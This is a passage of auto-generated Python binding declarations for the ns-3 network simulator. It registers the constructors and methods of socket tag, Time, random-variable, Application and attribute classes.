## socket.h (module 'network'): void ns3::SocketIpTtlTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketIpTtlTag::SetTtl(uint8_t ttl) [member function]
cls.add_method('SetTtl',
'void',
[param('uint8_t', 'ttl')])
return
def register_Ns3SocketIpv6HopLimitTag_methods(root_module, cls):
## socket.h (module 'network'): ns3::SocketIpv6HopLimitTag::SocketIpv6HopLimitTag(ns3::SocketIpv6HopLimitTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SocketIpv6HopLimitTag const &', 'arg0')])
## socket.h (module 'network'): ns3::SocketIpv6HopLimitTag::SocketIpv6HopLimitTag() [constructor]
cls.add_constructor([])
## socket.h (module 'network'): void ns3::SocketIpv6HopLimitTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## socket.h (module 'network'): uint8_t ns3::SocketIpv6HopLimitTag::GetHopLimit() const [member function]
cls.add_method('GetHopLimit',
'uint8_t',
[],
is_const=True)
## socket.h (module 'network'): ns3::TypeId ns3::SocketIpv6HopLimitTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint32_t ns3::SocketIpv6HopLimitTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): static ns3::TypeId ns3::SocketIpv6HopLimitTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## socket.h (module 'network'): void ns3::SocketIpv6HopLimitTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketIpv6HopLimitTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketIpv6HopLimitTag::SetHopLimit(uint8_t hopLimit) [member function]
cls.add_method('SetHopLimit',
'void',
[param('uint8_t', 'hopLimit')])
return
def register_Ns3SocketIpv6TclassTag_methods(root_module, cls):
## socket.h (module 'network'): ns3::SocketIpv6TclassTag::SocketIpv6TclassTag(ns3::SocketIpv6TclassTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SocketIpv6TclassTag const &', 'arg0')])
## socket.h (module 'network'): ns3::SocketIpv6TclassTag::SocketIpv6TclassTag() [constructor]
cls.add_constructor([])
## socket.h (module 'network'): void ns3::SocketIpv6TclassTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## socket.h (module 'network'): ns3::TypeId ns3::SocketIpv6TclassTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint32_t ns3::SocketIpv6TclassTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint8_t ns3::SocketIpv6TclassTag::GetTclass() const [member function]
cls.add_method('GetTclass',
'uint8_t',
[],
is_const=True)
## socket.h (module 'network'): static ns3::TypeId ns3::SocketIpv6TclassTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## socket.h (module 'network'): void ns3::SocketIpv6TclassTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketIpv6TclassTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketIpv6TclassTag::SetTclass(uint8_t tclass) [member function]
cls.add_method('SetTclass',
'void',
[param('uint8_t', 'tclass')])
return
def register_Ns3SocketPriorityTag_methods(root_module, cls):
## socket.h (module 'network'): ns3::SocketPriorityTag::SocketPriorityTag(ns3::SocketPriorityTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SocketPriorityTag const &', 'arg0')])
## socket.h (module 'network'): ns3::SocketPriorityTag::SocketPriorityTag() [constructor]
cls.add_constructor([])
## socket.h (module 'network'): void ns3::SocketPriorityTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## socket.h (module 'network'): ns3::TypeId ns3::SocketPriorityTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint8_t ns3::SocketPriorityTag::GetPriority() const [member function]
cls.add_method('GetPriority',
'uint8_t',
[],
is_const=True)
## socket.h (module 'network'): uint32_t ns3::SocketPriorityTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): static ns3::TypeId ns3::SocketPriorityTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## socket.h (module 'network'): void ns3::SocketPriorityTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketPriorityTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketPriorityTag::SetPriority(uint8_t priority) [member function]
cls.add_method('SetPriority',
'void',
[param('uint8_t', 'priority')])
return
def register_Ns3SocketSetDontFragmentTag_methods(root_module, cls):
## socket.h (module 'network'): ns3::SocketSetDontFragmentTag::SocketSetDontFragmentTag(ns3::SocketSetDontFragmentTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SocketSetDontFragmentTag const &', 'arg0')])
## socket.h (module 'network'): ns3::SocketSetDontFragmentTag::SocketSetDontFragmentTag() [constructor]
cls.add_constructor([])
## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Disable() [member function]
cls.add_method('Disable',
'void',
[])
## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Enable() [member function]
cls.add_method('Enable',
'void',
[])
## socket.h (module 'network'): ns3::TypeId ns3::SocketSetDontFragmentTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint32_t ns3::SocketSetDontFragmentTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): static ns3::TypeId ns3::SocketSetDontFragmentTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## socket.h (module 'network'): bool ns3::SocketSetDontFragmentTag::IsEnabled() const [member function]
cls.add_method('IsEnabled',
'bool',
[],
is_const=True)
## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
return
def register_Ns3Time_methods(root_module, cls):
cls.add_binary_comparison_operator('<=')
cls.add_binary_comparison_operator('!=')
cls.add_inplace_numeric_operator('+=', param('ns3::Time const &', u'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::Time'], root_module['ns3::Time'], param('int64_t const &', u'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::Time'], root_module['ns3::Time'], param('ns3::Time const &', u'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::Time'], root_module['ns3::Time'], param('ns3::Time const &', u'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::Time'], root_module['ns3::Time'], param('int64_t const &', u'right'))
cls.add_binary_comparison_operator('<')
cls.add_binary_comparison_operator('>')
cls.add_inplace_numeric_operator('-=', param('ns3::Time const &', u'right'))
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
cls.add_binary_comparison_operator('>=')
## nstime.h (module 'core'): ns3::Time::Time() [constructor]
cls.add_constructor([])
## nstime.h (module 'core'): ns3::Time::Time(ns3::Time const & o) [copy constructor]
cls.add_constructor([param('ns3::Time const &', 'o')])
## nstime.h (module 'core'): ns3::Time::Time(double v) [constructor]
cls.add_constructor([param('double', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(int v) [constructor]
cls.add_constructor([param('int', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(long int v) [constructor]
cls.add_constructor([param('long int', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(long long int v) [constructor]
cls.add_constructor([param('long long int', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(unsigned int v) [constructor]
cls.add_constructor([param('unsigned int', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(long unsigned int v) [constructor]
cls.add_constructor([param('long unsigned int', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(long long unsigned int v) [constructor]
cls.add_constructor([param('long long unsigned int', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(ns3::int64x64_t const & v) [constructor]
cls.add_constructor([param('ns3::int64x64_t const &', 'v')])
## nstime.h (module 'core'): ns3::Time::Time(std::string const & s) [constructor]
cls.add_constructor([param('std::string const &', 's')])
## nstime.h (module 'core'): ns3::TimeWithUnit ns3::Time::As(ns3::Time::Unit const unit) const [member function]
cls.add_method('As',
'ns3::TimeWithUnit',
[param('ns3::Time::Unit const', 'unit')],
is_const=True)
## nstime.h (module 'core'): int ns3::Time::Compare(ns3::Time const & o) const [member function]
cls.add_method('Compare',
'int',
[param('ns3::Time const &', 'o')],
is_const=True)
## nstime.h (module 'core'): static ns3::Time ns3::Time::From(ns3::int64x64_t const & value) [member function]
cls.add_method('From',
'ns3::Time',
[param('ns3::int64x64_t const &', 'value')],
is_static=True)
## nstime.h (module 'core'): static ns3::Time ns3::Time::From(ns3::int64x64_t const & value, ns3::Time::Unit unit) [member function]
cls.add_method('From',
'ns3::Time',
[param('ns3::int64x64_t const &', 'value'), param('ns3::Time::Unit', 'unit')],
is_static=True)
## nstime.h (module 'core'): static ns3::Time ns3::Time::FromDouble(double value, ns3::Time::Unit unit) [member function]
cls.add_method('FromDouble',
'ns3::Time',
[param('double', 'value'), param('ns3::Time::Unit', 'unit')],
is_static=True)
## nstime.h (module 'core'): static ns3::Time ns3::Time::FromInteger(uint64_t value, ns3::Time::Unit unit) [member function]
cls.add_method('FromInteger',
'ns3::Time',
[param('uint64_t', 'value'), param('ns3::Time::Unit', 'unit')],
is_static=True)
## nstime.h (module 'core'): double ns3::Time::GetDays() const [member function]
cls.add_method('GetDays',
'double',
[],
is_const=True)
## nstime.h (module 'core'): double ns3::Time::GetDouble() const [member function]
cls.add_method('GetDouble',
'double',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetFemtoSeconds() const [member function]
cls.add_method('GetFemtoSeconds',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): double ns3::Time::GetHours() const [member function]
cls.add_method('GetHours',
'double',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetInteger() const [member function]
cls.add_method('GetInteger',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetMicroSeconds() const [member function]
cls.add_method('GetMicroSeconds',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetMilliSeconds() const [member function]
cls.add_method('GetMilliSeconds',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): double ns3::Time::GetMinutes() const [member function]
cls.add_method('GetMinutes',
'double',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetNanoSeconds() const [member function]
cls.add_method('GetNanoSeconds',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetPicoSeconds() const [member function]
cls.add_method('GetPicoSeconds',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): static ns3::Time::Unit ns3::Time::GetResolution() [member function]
cls.add_method('GetResolution',
'ns3::Time::Unit',
[],
is_static=True)
## nstime.h (module 'core'): double ns3::Time::GetSeconds() const [member function]
cls.add_method('GetSeconds',
'double',
[],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::GetTimeStep() const [member function]
cls.add_method('GetTimeStep',
'int64_t',
[],
is_const=True)
## nstime.h (module 'core'): double ns3::Time::GetYears() const [member function]
cls.add_method('GetYears',
'double',
[],
is_const=True)
## nstime.h (module 'core'): bool ns3::Time::IsNegative() const [member function]
cls.add_method('IsNegative',
'bool',
[],
is_const=True)
## nstime.h (module 'core'): bool ns3::Time::IsPositive() const [member function]
cls.add_method('IsPositive',
'bool',
[],
is_const=True)
## nstime.h (module 'core'): bool ns3::Time::IsStrictlyNegative() const [member function]
cls.add_method('IsStrictlyNegative',
'bool',
[],
is_const=True)
## nstime.h (module 'core'): bool ns3::Time::IsStrictlyPositive() const [member function]
cls.add_method('IsStrictlyPositive',
'bool',
[],
is_const=True)
## nstime.h (module 'core'): bool ns3::Time::IsZero() const [member function]
cls.add_method('IsZero',
'bool',
[],
is_const=True)
## nstime.h (module 'core'): static ns3::Time ns3::Time::Max() [member function]
cls.add_method('Max',
'ns3::Time',
[],
is_static=True)
## nstime.h (module 'core'): static ns3::Time ns3::Time::Min() [member function]
cls.add_method('Min',
'ns3::Time',
[],
is_static=True)
## nstime.h (module 'core'): static void ns3::Time::SetResolution(ns3::Time::Unit resolution) [member function]
cls.add_method('SetResolution',
'void',
[param('ns3::Time::Unit', 'resolution')],
is_static=True)
## nstime.h (module 'core'): static bool ns3::Time::StaticInit() [member function]
cls.add_method('StaticInit',
'bool',
[],
is_static=True)
## nstime.h (module 'core'): ns3::int64x64_t ns3::Time::To(ns3::Time::Unit unit) const [member function]
cls.add_method('To',
'ns3::int64x64_t',
[param('ns3::Time::Unit', 'unit')],
is_const=True)
## nstime.h (module 'core'): double ns3::Time::ToDouble(ns3::Time::Unit unit) const [member function]
cls.add_method('ToDouble',
'double',
[param('ns3::Time::Unit', 'unit')],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::ToInteger(ns3::Time::Unit unit) const [member function]
cls.add_method('ToInteger',
'int64_t',
[param('ns3::Time::Unit', 'unit')],
is_const=True)
return
def register_Ns3TraceSourceAccessor_methods(root_module, cls):
## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor::TraceSourceAccessor(ns3::TraceSourceAccessor const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TraceSourceAccessor const &', 'arg0')])
## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor::TraceSourceAccessor() [constructor]
cls.add_constructor([])
## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::Connect(ns3::ObjectBase * obj, std::string context, ns3::CallbackBase const & cb) const [member function]
cls.add_method('Connect',
'bool',
[param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::ConnectWithoutContext(ns3::ObjectBase * obj, ns3::CallbackBase const & cb) const [member function]
cls.add_method('ConnectWithoutContext',
'bool',
[param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('ns3::CallbackBase const &', 'cb')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::Disconnect(ns3::ObjectBase * obj, std::string context, ns3::CallbackBase const & cb) const [member function]
cls.add_method('Disconnect',
'bool',
[param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::DisconnectWithoutContext(ns3::ObjectBase * obj, ns3::CallbackBase const & cb) const [member function]
cls.add_method('DisconnectWithoutContext',
'bool',
[param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('ns3::CallbackBase const &', 'cb')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3Trailer_methods(root_module, cls):
cls.add_output_stream_operator()
## trailer.h (module 'network'): ns3::Trailer::Trailer() [constructor]
cls.add_constructor([])
## trailer.h (module 'network'): ns3::Trailer::Trailer(ns3::Trailer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Trailer const &', 'arg0')])
## trailer.h (module 'network'): uint32_t ns3::Trailer::Deserialize(ns3::Buffer::Iterator end) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'end')],
is_pure_virtual=True, is_virtual=True)
## trailer.h (module 'network'): uint32_t ns3::Trailer::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## trailer.h (module 'network'): static ns3::TypeId ns3::Trailer::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## trailer.h (module 'network'): void ns3::Trailer::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## trailer.h (module 'network'): void ns3::Trailer::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3TriangularRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::TriangularRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::TriangularRandomVariable::TriangularRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): double ns3::TriangularRandomVariable::GetMean() const [member function]
cls.add_method('GetMean',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::TriangularRandomVariable::GetMin() const [member function]
cls.add_method('GetMin',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::TriangularRandomVariable::GetMax() const [member function]
cls.add_method('GetMax',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::TriangularRandomVariable::GetValue(double mean, double min, double max) [member function]
cls.add_method('GetValue',
'double',
[param('double', 'mean'), param('double', 'min'), param('double', 'max')])
## random-variable-stream.h (module 'core'): uint32_t ns3::TriangularRandomVariable::GetInteger(uint32_t mean, uint32_t min, uint32_t max) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 'mean'), param('uint32_t', 'min'), param('uint32_t', 'max')])
## random-variable-stream.h (module 'core'): double ns3::TriangularRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::TriangularRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3UniformRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::UniformRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::UniformRandomVariable::UniformRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): double ns3::UniformRandomVariable::GetMin() const [member function]
cls.add_method('GetMin',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::UniformRandomVariable::GetMax() const [member function]
cls.add_method('GetMax',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::UniformRandomVariable::GetValue(double min, double max) [member function]
cls.add_method('GetValue',
'double',
[param('double', 'min'), param('double', 'max')])
## random-variable-stream.h (module 'core'): uint32_t ns3::UniformRandomVariable::GetInteger(uint32_t min, uint32_t max) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 'min'), param('uint32_t', 'max')])
## random-variable-stream.h (module 'core'): double ns3::UniformRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::UniformRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3WeibullRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::WeibullRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::WeibullRandomVariable::WeibullRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): double ns3::WeibullRandomVariable::GetScale() const [member function]
cls.add_method('GetScale',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::WeibullRandomVariable::GetShape() const [member function]
cls.add_method('GetShape',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::WeibullRandomVariable::GetBound() const [member function]
cls.add_method('GetBound',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::WeibullRandomVariable::GetValue(double scale, double shape, double bound) [member function]
cls.add_method('GetValue',
'double',
[param('double', 'scale'), param('double', 'shape'), param('double', 'bound')])
## random-variable-stream.h (module 'core'): uint32_t ns3::WeibullRandomVariable::GetInteger(uint32_t scale, uint32_t shape, uint32_t bound) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 'scale'), param('uint32_t', 'shape'), param('uint32_t', 'bound')])
## random-variable-stream.h (module 'core'): double ns3::WeibullRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::WeibullRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3ZetaRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::ZetaRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::ZetaRandomVariable::ZetaRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): double ns3::ZetaRandomVariable::GetAlpha() const [member function]
cls.add_method('GetAlpha',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::ZetaRandomVariable::GetValue(double alpha) [member function]
cls.add_method('GetValue',
'double',
[param('double', 'alpha')])
## random-variable-stream.h (module 'core'): uint32_t ns3::ZetaRandomVariable::GetInteger(uint32_t alpha) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 'alpha')])
## random-variable-stream.h (module 'core'): double ns3::ZetaRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::ZetaRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3ZipfRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::ZipfRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::ZipfRandomVariable::ZipfRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): uint32_t ns3::ZipfRandomVariable::GetN() const [member function]
cls.add_method('GetN',
'uint32_t',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::ZipfRandomVariable::GetAlpha() const [member function]
cls.add_method('GetAlpha',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::ZipfRandomVariable::GetValue(uint32_t n, double alpha) [member function]
cls.add_method('GetValue',
'double',
[param('uint32_t', 'n'), param('double', 'alpha')])
## random-variable-stream.h (module 'core'): uint32_t ns3::ZipfRandomVariable::GetInteger(uint32_t n, uint32_t alpha) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 'n'), param('uint32_t', 'alpha')])
## random-variable-stream.h (module 'core'): double ns3::ZipfRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::ZipfRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3Application_methods(root_module, cls):
## application.h (module 'network'): ns3::Application::Application(ns3::Application const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Application const &', 'arg0')])
## application.h (module 'network'): ns3::Application::Application() [constructor]
cls.add_constructor([])
## application.h (module 'network'): ns3::Ptr<ns3::Node> ns3::Application::GetNode() const [member function]
cls.add_method('GetNode',
'ns3::Ptr< ns3::Node >',
[],
is_const=True)
## application.h (module 'network'): static ns3::TypeId ns3::Application::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## application.h (module 'network'): void ns3::Application::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## application.h (module 'network'): void ns3::Application::SetStartTime(ns3::Time start) [member function]
cls.add_method('SetStartTime',
'void',
[param('ns3::Time', 'start')])
## application.h (module 'network'): void ns3::Application::SetStopTime(ns3::Time stop) [member function]
cls.add_method('SetStopTime',
'void',
[param('ns3::Time', 'stop')])
## application.h (module 'network'): void ns3::Application::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## application.h (module 'network'): void ns3::Application::DoInitialize() [member function]
cls.add_method('DoInitialize',
'void',
[],
visibility='protected', is_virtual=True)
## application.h (module 'network'): void ns3::Application::StartApplication() [member function]
cls.add_method('StartApplication',
'void',
[],
visibility='private', is_virtual=True)
## application.h (module 'network'): void ns3::Application::StopApplication() [member function]
cls.add_method('StopApplication',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3AttributeAccessor_methods(root_module, cls):
## attribute.h (module 'core'): ns3::AttributeAccessor::AttributeAccessor(ns3::AttributeAccessor const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AttributeAccessor const &', 'arg0')])
## attribute.h (module 'core'): ns3::AttributeAccessor::AttributeAccessor() [constructor]
cls.add_constructor([])
## attribute.h (module 'core'): bool ns3::AttributeAccessor::Get(ns3::ObjectBase const * object, ns3::AttributeValue & attribute) const [member function]
cls.add_method('Get',
'bool',
[param('ns3::ObjectBase const *', 'object'), param('ns3::AttributeValue &', 'attribute')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::AttributeAccessor::HasGetter() const [member function]
cls.add_method('HasGetter',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::AttributeAccessor::HasSetter() const [member function]
cls.add_method('HasSetter',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::AttributeAccessor::Set(ns3::ObjectBase * object, ns3::AttributeValue const & value) const [member function]
cls.add_method('Set',
'bool',
[param('ns3::ObjectBase *', 'object', transfer_ownership=False), param('ns3::AttributeValue const &', 'value')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3AttributeChecker_methods(root_module, cls):
## attribute.h (module 'core'): ns3::AttributeChecker::AttributeChecker(ns3::AttributeChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AttributeChecker const &', 'arg0')])
## attribute.h (module 'core'): ns3::AttributeChecker::AttributeChecker() [constructor]
cls.add_constructor([])
## attribute.h (module 'core'): bool ns3::AttributeChecker::Check(ns3::AttributeValue const & value) const [member function]
cls.add_method('Check',
'bool',
[param('ns3::AttributeValue const &', 'value')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::AttributeChecker::Copy(ns3::AttributeValue const & source, ns3::AttributeValue & destination) const [member function]
cls.add_method('Copy',
'bool',
[param('ns3::AttributeValue const &', 'source'), param('ns3::AttributeValue &', 'destination')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeChecker::Create() const [member function]
cls.add_method('Create',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeChecker::CreateValidValue(ns3::AttributeValue const & value) const [member function]
cls.add_method('CreateValidValue',
'ns3::Ptr< ns3::AttributeValue >',
[param('ns3::AttributeValue const &', 'value')],
is_const=True)
## attribute.h (module 'core'): std::string ns3::AttributeChecker::GetUnderlyingTypeInformation() const [member function]
cls.add_method('GetUnderlyingTypeInformation',
'std::string',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
